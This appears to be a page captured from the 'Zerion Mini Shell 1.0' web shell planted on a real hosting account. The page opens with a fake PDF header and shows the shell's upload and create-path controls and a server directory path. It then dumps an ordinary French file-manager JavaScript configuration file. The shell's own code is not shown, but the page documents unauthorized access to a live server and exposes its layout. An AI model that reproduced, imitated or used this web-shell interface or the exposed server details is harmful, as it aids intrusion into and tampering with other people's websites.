%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/devcapijob/public_html/gestion/liberary/Filemanager/scripts/
Upload File :
Create Path :
Current File : /home/devcapijob/public_html/gestion/liberary/Filemanager/scripts/filemanager.config.js

/*---------------------------------------------------------

  Configuration

---------------------------------------------------------*/



// Set culture to display localized messages

var culture = 'fr';



// Autoload text in GUI

// If set to false, set values manually into the HTML file

var autoload = true;



// Display full path - default : false

var showFullPath = false;



// Browse only - default : false

var browseOnly = false;



// Set this to the server side language you wish to use.

var lang = 'php'; // options: php, jsp, lasso, asp, cfm // we are looking for contributors for lasso, python connectors (partially developed)



var am = document.location.pathname.substring(1, document.location.pathname.indexOf('/',8));

/*console.log(document.location.pathname.indexOf('/',8));

console.log(document.location.pathname.split('/').slice(1,-4).join('/'));*/

// Set this to the directory you wish to manage.

//var fileRoot = '/' + am + 'userfiles/';



dir=document.location.pathname.split('/').slice(1,-4).join('/');

if(dir!=''){

	var fileRoot = '/'+document.location.pathname.split('/').slice(1,-4).join('/')+'/files_perso/fichiers/';

	}

else{

	var fileRoot = '/files_perso/fichiers/';

	}



alert(fileRoot)



// Show image previews in grid views?

var showThumbs = true;



// Allowed image extensions when type is 'image'

var imagesExt = ['pdf','jpg', 'jpeg', 'gif', 'png'];




Zerion Mini Shell 1.0